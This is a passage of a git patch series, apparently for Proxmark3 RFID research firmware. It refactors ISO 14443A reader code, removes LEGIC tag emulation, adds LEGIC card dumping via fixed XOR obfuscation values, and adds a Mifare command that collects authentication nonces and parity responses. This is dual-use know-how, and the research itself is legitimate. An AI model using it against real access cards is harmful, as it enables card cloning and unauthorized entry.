ShortFrameFromReader(const BYTE bt) { int j; int last; - BYTE b; + BYTE b; ToSendReset(); @@ -1363,7 +1371,7 @@ void ShortFrameFromReader(const BYTE *cmd) Sequence(SEC_Z); last = 0; - b = cmd[0]; + b = bt; for(j = 0; j < 7; j++) { if(b & 1) { // Sequence X @@ -1407,86 +1415,81 @@ void ShortFrameFromReader(const BYTE *cmd) //----------------------------------------------------------------------------- // Prepare reader command to send to FPGA -// +// //----------------------------------------------------------------------------- -void CodeIso14443aAsReader(const BYTE *cmd, int len) +void CodeIso14443aAsReaderPar(const BYTE * cmd, int len, DWORD dwParity) { - int i, j; - int last; - int oddparity; - BYTE b; - - ToSendReset(); - - // Start of Communication (Seq. Z) - Sequence(SEC_Z); - last = 0; - - for(i = 0; i < len; i++) { - // Data bits - b = cmd[i]; - oddparity = 0x01; - for(j = 0; j < 8; j++) { - oddparity ^= (b & 1); - if(b & 1) { - // Sequence X - Sequence(SEC_X); - last = 1; - } else { - if(last == 0) { - // Sequence Z - Sequence(SEC_Z); - } - else { - // Sequence Y - Sequence(SEC_Y); - last = 0; - } - } - b >>= 1; + int i, j; + int last; + BYTE b; + + ToSendReset(); + + // Start of Communication (Seq. Z) + Sequence(SEC_Z); + last = 0; + + // Generate send structure for the data bits + for (i = 0; i < len; i++) { + // Get the current byte to send + b = cmd[i]; + + for (j = 0; j < 8; j++) { + if (b & 1) { + // Sequence X + Sequence(SEC_X); + last = 1; + } else { + if (last == 0) { + // Sequence Z + Sequence(SEC_Z); + } else { + // Sequence Y + Sequence(SEC_Y); + last = 0; } - - // Parity bit - if(oddparity) { - // Sequence X - Sequence(SEC_X); - last = 1; - } else { - if(last == 0) { - // Sequence Z - Sequence(SEC_Z); - } - else { - // Sequence Y - Sequence(SEC_Y); - last = 0; - } - } + } + b >>= 1; } - - // End of Communication - if(last == 0) { - // Sequence Z - Sequence(SEC_Z); - } - else { - // Sequence Y - Sequence(SEC_Y); - last = 0; - } - // Sequence Y - Sequence(SEC_Y); - - // Just to be sure! - Sequence(SEC_Y); - Sequence(SEC_Y); - Sequence(SEC_Y); - - // Convert from last character reference to length - ToSendMax++; + + // Get the parity bit + if ((dwParity >> i) & 0x01) { + // Sequence X + Sequence(SEC_X); + last = 1; + } else { + if (last == 0) { + // Sequence Z + Sequence(SEC_Z); + } else { + // Sequence Y + Sequence(SEC_Y); + last = 0; + } + } + } + + // End of Communication + if (last == 0) { + // Sequence Z + Sequence(SEC_Z); + } else { + // Sequence Y + Sequence(SEC_Y); + last = 0; + } + // Sequence Y + Sequence(SEC_Y); + + // Just to be sure! + Sequence(SEC_Y); + Sequence(SEC_Y); + Sequence(SEC_Y); + + // Convert from last character reference to length + ToSendMax++; } - //----------------------------------------------------------------------------- // Wait a certain time for tag response // If a response is captured return TRUE @@ -1509,7 +1512,7 @@ static BOOL GetIso14443aAnswerFromTag(BYTE *receivedResponse, int maxLen, int *s Demod.state = DEMOD_UNSYNCD; BYTE b; - *elapsed = 0; + if (elapsed) *elapsed = 0; c = 0; for(;;) { @@ -1517,7 +1520,7 @@ static BOOL GetIso14443aAnswerFromTag(BYTE *receivedResponse, int maxLen, int *s if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!! - (*elapsed)++; + if (elapsed) (*elapsed)++; } if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { if(c < 512) { c++; } else { return FALSE; } @@ -1534,7 +1537,51 @@ static BOOL GetIso14443aAnswerFromTag(BYTE *receivedResponse, int maxLen, int *s } } +void ReaderTransmitShort(const BYTE* bt) +{ + int wait = 0; + int samples = 0; + + ShortFrameFromReader(*bt); + + // Select the card + TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); + + // Store reader command in buffer + LogTrace(bt,1,0,GetParity(bt,1),TRUE); +} +void ReaderTransmitPar(BYTE* frame, int len, DWORD par) +{ + int wait = 0; + int samples = 0; + + // This is tied to other size changes + // BYTE* frame_addr = ((BYTE*)BigBuf) + 2024; + + CodeIso14443aAsReaderPar(frame,len,par); + + // Select the card + TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); + + // Store reader command in buffer + LogTrace(frame,len,0,par,TRUE); +} + + +void ReaderTransmit(BYTE* frame, int len) +{ + // Generate parity and redirect + ReaderTransmitPar(frame,len,GetParity(frame,len)); +} + +BOOL ReaderReceive(BYTE* receivedAnswer) +{ + int samples = 0; + if (!GetIso14443aAnswerFromTag(receivedAnswer,100,&samples,0)) return FALSE; + LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE); + return TRUE; +} //----------------------------------------------------------------------------- // Read an ISO 14443a tag. Send out commands and store answers. @@ -1543,211 +1590,100 @@ static BOOL GetIso14443aAnswerFromTag(BYTE *receivedResponse, int maxLen, int *s void ReaderIso14443a(DWORD parameter) { // Anticollision - static const BYTE cmd1[] = { 0x52 }; // or 0x26 - static const BYTE cmd2[] = { 0x93,0x20 }; - // UID = 0x2a,0x69,0x8d,0x43,0x8d, last two bytes are CRC bytes - BYTE cmd3[] = { 0x93,0x70,0x2a,0x69,0x8d,0x43,0x8d,0x52,0x55 }; - - // For Ultralight add an extra anticollission layer -> 95 20 and then 95 70 - - // greg - here we will add our cascade level 2 anticolission and select functions to deal with ultralight // and 7-byte UIDs in generall... - BYTE cmd4[] = {0x95,0x20}; // ask for cascade 2 select - // 95 20 - //BYTE cmd3a[] = { 0x95,0x70,0x2a,0x69,0x8d,0x43,0x8d,0x52,0x55 }; - // 95 70 - - // cascade 2 select - BYTE cmd5[] = { 0x95,0x70,0x2a,0x69,0x8d,0x43,0x8d,0x52,0x55 }; - - - // RATS (request for answer to select) - //BYTE cmd6[] = { 0xe0,0x50,0xbc,0xa5 }; // original RATS - BYTE cmd6[] = { 0xe0,0x21,0xb2,0xc7 }; // Desfire RATS + BYTE wupa[] = { 0x52 }; + BYTE sel_all[] = { 0x93,0x20 }; + BYTE sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + BYTE sel_all_c2[] = { 0x95,0x20 }; + BYTE sel_uid_c2[] = { 0x95,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; // Mifare AUTH - BYTE cmd7[] = { 0x60, 0x00, 0x00, 0x00 }; - - int reqaddr = 2024; // was 2024 - tied to other size changes - int reqsize = 60; - - BYTE *req1 = (((BYTE *)BigBuf) + reqaddr); - int req1Len; - - BYTE *req2 = (((BYTE *)BigBuf) + reqaddr + reqsize); - int req2Len; - - BYTE *req3 = (((BYTE *)BigBuf) + reqaddr + (reqsize * 2)); - int req3Len; - -// greg added req 4 & 5 to deal with cascade 2 section - BYTE *req4 = (((BYTE *)BigBuf) + reqaddr + (reqsize * 3)); - int req4Len; - - BYTE *req5 = (((BYTE *)BigBuf) + reqaddr + (reqsize * 4)); - int req5Len; - - BYTE *req6 = (((BYTE *)BigBuf) + reqaddr + (reqsize * 5)); - int req6Len; - - BYTE *req7 = (((BYTE *)BigBuf) + reqaddr + (reqsize * 6)); - int req7Len; - - BYTE *receivedAnswer = (((BYTE *)BigBuf) + 3560); // was 3560 - tied to other size changes - - //BYTE *trace = (BYTE *)BigBuf; - //int traceLen = 0; - //int rsamples = 0; + BYTE mf_auth[] = { 0x60,0x00,0xf5,0x7b }; +// BYTE mf_nr_ar[] = { 0x00,0x00,0x00,0x00 }; + + BYTE* receivedAnswer = (((BYTE *)BigBuf) + 3560); // was 3560 - tied to other size changes traceLen = 0; - memset(trace, 0x44, 2000); // was 2000 - tied to oter size chnages - // setting it to 3000 causes no tag responses to be detected (2900 is ok) - // setting it to 1000 causes no tag responses to be detected - - // Prepare some commands! - ShortFrameFromReader(cmd1); - memcpy(req1, ToSend, ToSendMax); req1Len = ToSendMax; - - CodeIso14443aAsReader(cmd2, sizeof(cmd2)); - memcpy(req2, ToSend, ToSendMax); req2Len = ToSendMax; - - CodeIso14443aAsReader(cmd3, sizeof(cmd3)); - memcpy(req3, ToSend, ToSendMax); req3Len = ToSendMax; - - - CodeIso14443aAsReader(cmd4, sizeof(cmd4)); // 4 is cascade 2 request - memcpy(req4, ToSend, ToSendMax); req4Len = ToSendMax; - - - CodeIso14443aAsReader(cmd5, sizeof(cmd5)); // 5 is cascade 2 select - memcpy(req5, ToSend, ToSendMax); req5Len = ToSendMax; - - - CodeIso14443aAsReader(cmd6, sizeof(cmd6)); - memcpy(req6, ToSend, ToSendMax); req6Len = ToSendMax; - // Setup SSC FpgaSetupSsc(); // Start from off (no field generated) - // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); + // Signal field is off with the appropriate LED + LED_D_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(200); - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(); + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaSetupSsc(); // Now give it time to spin up. - // Signal field is on with the appropriate LED - LED_D_ON(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + // Signal field is on with the appropriate LED + LED_D_ON(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); SpinDelay(200); LED_A_ON(); LED_B_OFF(); LED_C_OFF(); - int samples = 0; - int tsamples = 0; - int wait = 0; - int elapsed = 0; - - while(1) { - // Send WUPA (or REQA) - TransmitFor14443a(req1, req1Len, &tsamples, &wait); - - // Store reader command in buffer - if (!LogTrace(cmd1,1,0,GetParity(cmd1,1),TRUE)) break; + while(traceLen < TRACE_LENGTH) + { + // Broadcast for a card, WUPA (0x52) will force response from all cards in the field + ReaderTransmitShort(wupa); // Test if the action was cancelled if(BUTTON_PRESS()) { break; } - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; - - // Log the ATQA - if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; + // Receive the ATQA + if (!ReaderReceive(receivedAnswer)) continue; - // Store reader command in buffer - if (!LogTrace(cmd2,2,0,GetParity(cmd2,2),TRUE)) break; - TransmitFor14443a(req2, req2Len, &samples, &wait); + // Transmit SELECT_ALL + ReaderTransmit(sel_all,sizeof(sel_all)); - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; - - // Log the uid - if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; + // Receive the UID + if (!ReaderReceive(receivedAnswer)) continue; // Construct SELECT UID command // First copy the 5 bytes (Mifare Classic) after the 93 70 - memcpy(cmd3+2,receivedAnswer,5); + memcpy(sel_uid+2,receivedAnswer,5); // Secondly compute the two CRC bytes at the end - ComputeCrc14443(CRC_14443_A, cmd3, 7, &cmd3[7], &cmd3[8]); - - // Store reader command in buffer - if (!LogTrace(cmd3,9,0,GetParity(cmd5,9),TRUE)) break; - - CodeIso14443aAsReader(cmd3, sizeof(cmd3)); - memcpy(req3, ToSend, ToSendMax); req3Len = ToSendMax; + AppendCrc14443a(sel_uid,7); - // Select the card - TransmitFor14443a(req3, req3Len, &samples, &wait); - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; - - // Log the SAK - if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; + // Transmit SELECT_UID + ReaderTransmit(sel_uid,sizeof(sel_uid)); + + // Receive the SAK + if (!ReaderReceive(receivedAnswer)) continue; // OK we have selected at least at cascade 1, lets see if first byte of UID was 0x88 in // which case we need to make a cascade 2 request and select - this is a long UID - if (receivedAnswer[0] == 0x88) + // When the UID is not complete, the 3nd bit (from the right) is set in the SAK. + if (receivedAnswer[0] &= 0x04) { - // Do cascade level 2 stuff - /////////////////////////////////////////////////////////////////// - // First issue a '95 20' identify request - // Ask for card UID (part 2) - TransmitFor14443a(req4, req4Len, &tsamples, &wait); - - // Store reader command in buffer - if (!LogTrace(cmd4,2,0,GetParity(cmd4,2),TRUE)) break; - - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; - - ////////////////////////////////////////////////////////////////// - // Then Construct SELECT UID (cascasde 2) command - DbpString("Just about to copy the UID out of the cascade 2 id req"); - // First copy the 5 bytes (Mifare Classic) after the 95 70 - memcpy(cmd5+2,receivedAnswer,5); + // Transmit SELECT_ALL + ReaderTransmit(sel_all_c2,sizeof(sel_all_c2)); + + // Receive the UID + if (!ReaderReceive(receivedAnswer)) continue; + + // Construct SELECT UID command + memcpy(sel_uid_c2+2,receivedAnswer,5); // Secondly compute the two CRC bytes at the end - ComputeCrc14443(CRC_14443_A, cmd4, 7, &cmd5[7], &cmd5[8]); - - // Store reader command in buffer - if (!LogTrace(cmd5,9,0,GetParity(cmd5,9),TRUE)) break; - - CodeIso14443aAsReader(cmd5, sizeof(cmd5)); - memcpy(req5, ToSend, ToSendMax); req5Len = ToSendMax; + AppendCrc14443a(sel_uid_c2,7); - // Select the card - TransmitFor14443a(req4, req4Len, &samples, &wait); - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; + // Transmit SELECT_UID + ReaderTransmit(sel_uid_c2,sizeof(sel_uid_c2)); - // Log the SAK - if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; + // Receive the SAK + if (!ReaderReceive(receivedAnswer)) continue; } - // Secondly compute the two CRC bytes at the end - ComputeCrc14443(CRC_14443_A, cmd7, 2, &cmd7[2], &cmd7[3]); - CodeIso14443aAsReader(cmd7, sizeof(cmd7)); - memcpy(req7, ToSend, ToSendMax); req7Len = ToSendMax; - - // Send authentication request (Mifare Classic) - TransmitFor14443a(req7, req7Len, &samples, &wait); - // Store reader command in buffer - if (!LogTrace(cmd7,4,0,GetParity(cmd7,4),TRUE)) break; - - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; + // Transmit MIFARE_CLASSIC_AUTH + ReaderTransmit(mf_auth,sizeof(mf_auth)); - // We received probably a random, continue and trace! - if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; + // Receive the (16 bit) "random" nonce + if (!ReaderReceive(receivedAnswer)) continue; } // Thats it... -- 2.39.5 From 1d99b0df4a0c1a2f42fe23ae32cc8f3d090bc985 Mon Sep 17 00:00:00 2001 From: "henryk@ploetzli.ch" Date: Mon, 28 Dec 2009 18:18:25 +0000 Subject: [PATCH 08/16] Remove LEGIC RF tag emulation code since it's useless without keystream generator --- armsrc/appmain.c | 4 -- armsrc/legicrf.c | 175 ----------------------------------------------- client/command.c | 8 --- 3 files changed, 187 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 84b0954e..9026f721 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -621,10 +621,6 @@ void UsbPacketReceived(BYTE *packet, int len) break; #endif - case CMD_SIMULATE_TAG_LEGIC_RF: - LegicRfSimulate(); - break; - case CMD_MEASURE_ANTENNA_TUNING: MeasureAntennaTuning(); break; diff --git a/armsrc/legicrf.c b/armsrc/legicrf.c index bb0badb0..7c3460af 100644 --- a/armsrc/legicrf.c +++ b/armsrc/legicrf.c @@ -40,45 +40,6 @@ static void setup_timer(void) #define FUZZ_EQUAL(value, target, fuzz) ((value) > ((target)-(fuzz)) && (value) < ((target)+(fuzz))) -static const struct legic_frame queries[] = { - {7, 0x55}, /* 1010 101 */ -}; - -static const struct legic_frame responses[] = { - {6, 0x3b}, /* 1101 11 */ -}; - -/* Send a frame in tag mode, the FPGA must have been set up by - * LegicRfSimulate - */ -static void frame_send_tag(uint16_t response, int bits) -{ -#if 0 - /* Use the SSC to send a response. 8-bit transfers, LSBit first, 100us per bit */ -#else - /* Bitbang the response */ - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; - - /* Wait for the frame start */ - while(timer->TC_CV < TAG_TIME_WAIT) ; - - int i; - for(i=0; iTC_CV + TAG_TIME_BIT; - int bit = response & 1; - response = response >> 1; - if(bit) - AT91C_BASE_PIOA->PIO_SODR = GPIO_SSC_DOUT; - else - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; - while(timer->TC_CV < nextbit) ; - } - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; -#endif -} - /* Send a frame in reader mode, the FPGA must have been set up by * LegicRfReader */ @@ -181,148 +142,12 @@ static void frame_receive_rwd(struct legic_frame * const f, int bits) f->bits = bits; } -/* Figure out a response to a frame in tag mode */ -static void frame_respond_tag(struct legic_frame const * const f) -{ - LED_D_ON(); - int i, r_size=0; - uint16_t r_data=0; - - for(i=0; ibits == queries[i].bits && f->data == queries[i].data) { - r_data = responses[i].data; - r_size = responses[i].bits; - break; - } - } - - if(r_size != 0) { - frame_send_tag(r_data, r_size); - LED_A_ON(); - } else { - LED_A_OFF(); - } - - LED_D_OFF(); -} - -static void frame_append_bit(struct legic_frame * const f, int bit) -{ - if(f->bits >= 15) - return; /* Overflow, won't happen */ - f->data |= (bit<bits); - f->bits++; -} - -static int frame_is_empty(struct legic_frame const * const f) -{ - return( f->bits <= 4 ); -} - -/* Handle (whether to respond) a frame in tag mode */ -static void frame_handle_tag(struct legic_frame const * const f) -{ - if(f->bits == 6) { - /* Short path */ - return; - } - if( !frame_is_empty(f) ) { - frame_respond_tag(f); - } -} - static void frame_clean(struct legic_frame * const f) { f->data = 0; f->bits = 0; } -enum emit_mode { - EMIT_RWD, /* Emit in tag simulation mode, e.g. the source is the RWD */ - EMIT_TAG /* Emit in reader simulation mode, e.g. the source is the TAG */ -}; -static void emit(enum emit_mode mode, int bit) -{ - if(bit == -1) { - if(mode == EMIT_RWD) { - frame_handle_tag(¤t_frame); - } - frame_clean(¤t_frame); - } else if(bit == 0) { - frame_append_bit(¤t_frame, 0); - } else if(bit == 1) { - frame_append_bit(¤t_frame, 1); - } -} - -void LegicRfSimulate(void) -{ - /* ADC path high-frequency peak detector, FPGA in high-frequency simulator mode, - * modulation mode set to 212kHz subcarrier. We are getting the incoming raw - * envelope waveform on DIN and should send our response on DOUT. - * - * The LEGIC RF protocol is pulse-pause-encoding from reader to card, so we'll - * measure the time between two rising edges on DIN, and no encoding on the - * subcarrier from card to reader, so we'll just shift out our verbatim data - * on DOUT, 1 bit is 100us. The time from reader to card frame is still unclear, - * seems to be 300us-ish. - */ - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_212K); - - /* Bitbang the receiver */ - AT91C_BASE_PIOA->PIO_ODR = GPIO_SSC_DIN; - AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DIN; - - setup_timer(); - - int old_level = 0; - int active = 0; - - while(!BUTTON_PRESS()) { - int level = !!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_DIN); - int time = timer->TC_CV; - - if(level != old_level) { - if(level == 1) { - timer->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - if(FUZZ_EQUAL(time, RWD_TIME_1, RWD_TIME_FUZZ)) { - /* 1 bit */ - emit(EMIT_RWD, 1); - active = 1; - LED_B_ON(); - } else if(FUZZ_EQUAL(time, RWD_TIME_0, RWD_TIME_FUZZ)) { - /* 0 bit */ - emit(EMIT_RWD, 0); - active = 1; - LED_B_ON(); - } else if(active) { - /* invalid */ - emit(EMIT_RWD, -1); - active = 0; - LED_B_OFF(); - } - } - } - - if(time >= (RWD_TIME_1+RWD_TIME_FUZZ) && active) { - /* Frame end */ - emit(EMIT_RWD, -1); - active = 0; - LED_B_OFF(); - } - - if(time >= (20*RWD_TIME_1) && (timer->TC_SR & AT91C_TC_CLKSTA)) { - timer->TC_CCR = AT91C_TC_CLKDIS; - } - - - old_level = level; - WDT_HIT(); - } -} - void LegicRfReader(void) { SetAdcMuxFor(GPIO_MUXSEL_HIPKD); diff --git a/client/command.c b/client/command.c index 3370748e..3b4c147f 100644 --- a/client/command.c +++ b/client/command.c @@ -202,12 +202,6 @@ static void CmdHi14asnoop(char *str) SendCommand(&c); } -static void CmdLegicRfSim(char *str) -{ - UsbCommand c={CMD_SIMULATE_TAG_LEGIC_RF}; - SendCommand(&c); -} - static void CmdLegicRfRead(char *str) { UsbCommand c={CMD_READER_LEGIC_RF}; @@ -2846,7 +2840,6 @@ static struct { {"indalademod", CmdIndalademod, 0, "['224'] -- Demodulate samples for Indala 64 bit UID (option '224' for 224 bit)"}, {"lcd", CmdLcd, 0, " -- Send command/data to LCD"}, {"lcdreset", CmdLcdReset, 0, "Hardware reset LCD"}, - {"legicrfsim", CmdLegicRfSim, 0, "Start the LEGIC RF tag simulator"}, {"legicrfread", CmdLegicRfRead, 0, "Start the LEGIC RF reader"}, {"load", CmdLoad, 1, " -- Load trace (to graph window"}, {"locomread", CmdLoCommandRead, 0, " <'0' period> <'1' period> ['h'] -- Modulate LF reader field to send command before read (all periods in microseconds) (option 'h' for 134)"}, @@ -3007,7 +3000,6 @@ void UsbCommandReceived(UsbCommand *c) if (c->cmd != CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K) goto unexpected_response; int i; for(i=0; i<48; i++) sample_buf[i] = c->d.asBytes[i]; - printf("stored 48 samples\n"); received_command = c->cmd; return; default: -- 2.39.5 From 2561caa24c84be1f93649a8c5abce0fabe29a5d5 Mon Sep 17 00:00:00 2001 From: "henryk@ploetzli.ch" Date: Mon, 28 Dec 2009 18:19:00 +0000 Subject: [PATCH 09/16] Implement card reading with a few simple fixed obfuscation strings --- armsrc/legicrf.c | 95 +++++++++++++++++++++++++++++++++++++++++------- 1 file changed, 81 insertions(+), 14 deletions(-) diff --git a/armsrc/legicrf.c b/armsrc/legicrf.c index 7c3460af..86c0c360 100644 --- a/armsrc/legicrf.c +++ b/armsrc/legicrf.c @@ -80,6 +80,7 @@ static void frame_send_rwd(uint16_t data, int bits) /* Reset the timer, to measure time until the start of the tag frame */ timer->TC_CCR = AT91C_TC_SWTRG; + while(timer->TC_CV > 1) ; /* Wait till the clock has reset */ } /* Receive a frame from the card in reader emulation mode, the FPGA and @@ -140,6 +141,10 @@ static void frame_receive_rwd(struct legic_frame * const f, int bits) f->data = data; f->bits = bits; + + /* Reset the timer, to synchronize the next frame */ + timer->TC_CCR = AT91C_TC_SWTRG; + while(timer->TC_CV > 1) ; /* Wait till the clock has reset */ } static void frame_clean(struct legic_frame * const f) @@ -148,6 +153,31 @@ static void frame_clean(struct legic_frame * const f) f->bits = 0; } +static uint16_t perform_setup_phase_rwd(void) +{ + + /* Switch on carrier and let the tag charge for 1ms */ + AT91C_BASE_PIOA->PIO_SODR = GPIO_SSC_DOUT; + SpinDelay(1); + + frame_send_rwd(0x55, 7); + frame_clean(¤t_frame); + frame_receive_rwd(¤t_frame, 6); + while(timer->TC_CV < 387) ; /* ~ 258us */ + frame_send_rwd(0x019, 6); + + return current_frame.data ^ 0x26; +} + +static void switch_off_tag_rwd(void) +{ + /* Switch off carrier, make sure tag is reset */ + AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; + SpinDelay(10); + + WDT_HIT(); +} + void LegicRfReader(void) { SetAdcMuxFor(GPIO_MUXSEL_HIPKD); @@ -161,25 +191,62 @@ void LegicRfReader(void) setup_timer(); - while(!BUTTON_PRESS()) { - /* Switch on carrier and let the tag charge for 1ms */ - AT91C_BASE_PIOA->PIO_SODR = GPIO_SSC_DOUT; - SpinDelay(1); - - LED_A_ON(); - frame_send_rwd(queries[0].data, queries[0].bits); - LED_A_OFF(); + memset(BigBuf, 0, 1024); + + int byte_index = 0, card_size = 0, command_size = 0; + uint16_t command_obfuscation = 0x57, response_obfuscation = 0; + uint16_t tag_type = perform_setup_phase_rwd(); + switch_off_tag_rwd(); + + int error = 0; + switch(tag_type) { + case 0x1d: + DbpString("MIM 256 card found, reading card ..."); + command_size = 9; + card_size = 256; + response_obfuscation = 0x52; + break; + case 0x3d: + DbpString("MIM 1024 card found, reading card ..."); + command_size = 11; + card_size = 1024; + response_obfuscation = 0xd4; + break; + default: + DbpString("No or unknown card found, aborting"); + error = 1; + break; + } + + LED_B_ON(); + while(!BUTTON_PRESS() && (byte_indexTC_CV < 387) ; /* ~ 258us */ + frame_send_rwd(command_obfuscation ^ (byte_index<<1), command_size); frame_clean(¤t_frame); - LED_B_ON(); - frame_receive_rwd(¤t_frame, responses[0].bits); - LED_B_OFF(); + frame_receive_rwd(¤t_frame, 8); + ((uint8_t*)BigBuf)[byte_index] = (current_frame.data ^ response_obfuscation) & 0xff; - /* Switch off carrier, make sure tag is reset */ - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; - SpinDelay(10); + switch_off_tag_rwd(); WDT_HIT(); + byte_index++; + if(byte_index & 0x04) LED_C_ON(); else LED_C_OFF(); } + LED_B_OFF(); + LED_C_OFF(); + if(!error) { + if(card_size == 256) { + DbpString("Card read, use hexsamples 256 to view results"); + } else if(card_size == 1024) { + DbpString("Card read, use hexsamples 1024 to view results"); + } + } } -- 2.39.5 From fa03a110e92f32a0bbe247c511b332fb5cc99d4e Mon Sep 17 00:00:00 2001 From: "roel@libnfc.org" Date: Wed, 30 Dec 2009 00:11:23 +0000 Subject: [PATCH 10/16] mifare client update --- client/command.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/client/command.c b/client/command.c index 3b4c147f..a5c561a9 100644 --- a/client/command.c +++ b/client/command.c @@ -132,6 +132,12 @@ static void CmdHi14areader(char *str) SendCommand(&c); } +static void CmdHi14amifare(char *str) +{ + UsbCommand c={CMD_READER_MIFARE, {strtol(str, NULL, 0), 0, 0}}; + SendCommand(&c); +} + static void CmdHi15reader(char *str) { UsbCommand c={CMD_READER_ISO_15693, {strtol(str, NULL, 0), 0, 0}}; @@ -2815,6 +2821,7 @@ static struct { {"grid", CmdGrid, 1, " -- overlay grid on graph window, use zero value to turn off either"}, {"hexsamples", CmdHexsamples, 0, " -- Dump big buffer as hex bytes"}, {"hi14alist", CmdHi14alist, 0, "List ISO 14443a history"}, + {"hi14amifare", CmdHi14amifare, 0, "Read out sector 0 parity error messages"}, {"hi14areader", CmdHi14areader, 0, "Act like an ISO14443 Type A reader"}, {"hi14asim", CmdHi14asim, 0, " -- Fake ISO 14443a tag"}, {"hi14asnoop", CmdHi14asnoop, 0, "Eavesdrop ISO 14443 Type A"}, -- 2.39.5 From 32cfae439e0e2270638617fa09bf1026b0cf0e50 Mon Sep 17 00:00:00 2001 From: "roel@libnfc.org" Date: Wed, 30 Dec 2009 00:11:50 +0000 Subject: [PATCH 11/16] mifare firmware update --- armsrc/appmain.c | 6 ++ armsrc/apps.h | 12 +++- armsrc/iso14443a.c | 167 +++++++++++++++++++++++++++++++++++++++++++-- armsrc/util.c | 18 +++++ 4 files changed, 197 insertions(+), 6 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 9026f721..11047b1c 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -593,6 +593,12 @@ void UsbPacketReceived(BYTE *packet, int len) break; #endif +#ifdef WITH_ISO14443a + case CMD_READER_MIFARE: + ReaderMifare(c->arg[0]); + break; +#endif + #ifdef WITH_ISO14443b case CMD_SNOOP_ISO_14443: SnoopIso14443(); diff --git a/armsrc/apps.h b/armsrc/apps.h index d90d595a..95080eae 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -7,6 +7,10 @@ #ifndef __APPS_H #define __APPS_H +#include "stdint.h" +#include "stddef.h" +typedef unsigned char byte_t; + // The large multi-purpose buffer, typically used to hold A/D samples, // maybe processed in some way. DWORD BigBuf[12000]; @@ -82,14 +86,15 @@ void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen); void SimulateIso14443Tag(void); void AcquireRawAdcSamplesIso14443(DWORD parameter); void ReadSRI512Iso14443(DWORD parameter); -void ReadSRIX4KIso14443(DWORD parameter); -void ReadSTMemoryIso14443(DWORD parameter,DWORD dwLast); +void ReadSRIX4KIso14443(DWORD parameter); +void ReadSTMemoryIso14443(DWORD parameter,DWORD dwLast); void SnoopIso14443(void); /// iso14443a.h void SnoopIso14443a(void); void SimulateIso14443aTag(int tagType, int TagUid); // ## simulate iso14443a tag void ReaderIso14443a(DWORD parameter); +void ReaderMifare(DWORD parameter); /// iso15693.h void AcquireRawAdcSamplesIso15693(void); @@ -111,6 +116,9 @@ void *memcpy(void *dest, const void *src, int len); void *memset(void *dest, int c, int len); int memcmp(const void *av, const void *bv, int len); char *strncat(char *dest, const char *src, unsigned int n); +void num_to_bytes(uint64_t n, size_t len, byte_t* dest); +uint64_t bytes_to_num(byte_t* src, size_t len); + void SpinDelay(int ms); void SpinDelayUs(int us); void LED(int led, int ms); diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index d39fbdd4..4c04571e 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -10,6 +10,7 @@ static BYTE *trace = (BYTE *) BigBuf; static int traceLen = 0; static int rsamples = 0; +static BOOL tracing = TRUE; typedef enum { SEC_D = 1, @@ -92,6 +93,11 @@ BOOL LogTrace(const BYTE * btBytes, int iLen, int iSamples, DWORD dwParity, BOOL return TRUE; } +BOOL LogTraceInfo(byte_t* data, size_t len) +{ + return LogTrace(data,len,0,GetParity(data,len),TRUE); +} + //----------------------------------------------------------------------------- // 